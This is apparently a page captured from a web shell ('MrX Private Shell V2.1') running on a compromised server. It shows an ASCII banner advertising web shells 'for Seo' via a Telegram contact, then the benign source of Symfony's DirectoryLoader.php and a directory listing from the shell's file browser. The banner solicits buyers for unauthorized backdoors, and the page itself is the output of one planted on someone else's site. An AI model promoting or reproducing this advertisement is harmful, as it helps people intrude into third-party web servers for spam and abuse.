__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DependencyInjection\Loader; /** * DirectoryLoader is a recursive loader to go through directories. * * @author Sebastien Lavoie <[email protected]> */ class DirectoryLoader extends FileLoader { public function load(mixed $file, ?string $type = null): mixed { $file = rtrim($file, '/'); $path = $this->locator->locate($file); $this->container->fileExists($path, false); foreach (scandir($path) as $dir) { if ('.' !== $dir[0]) { if (is_dir($path.'/'.$dir)) { $dir .= '/'; // append / to allow recursion } $this->setCurrentDir($path); $this->import($dir, null, false, $path); } } return null; } public function supports(mixed $resource, ?string $type = null): bool { if ('directory' === $type) { return true; } return null === $type && \is_string($resource) && str_ends_with($resource, '/'); } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Configurator | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| ClosureLoader.php | File | 1.09 KB | 0644 |
|
| DirectoryLoader.php | File | 1.26 KB | 0644 |
|
| FileLoader.php | File | 14.83 KB | 0644 |
|
| GlobFileLoader.php | File | 850 B | 0644 |
|
| IniFileLoader.php | File | 3.15 KB | 0644 |
|
| PhpFileLoader.php | File | 8.23 KB | 0644 |
|
| XmlFileLoader.php | File | 38.57 KB | 0644 |
|
| YamlFileLoader.php | File | 41.84 KB | 0644 |
|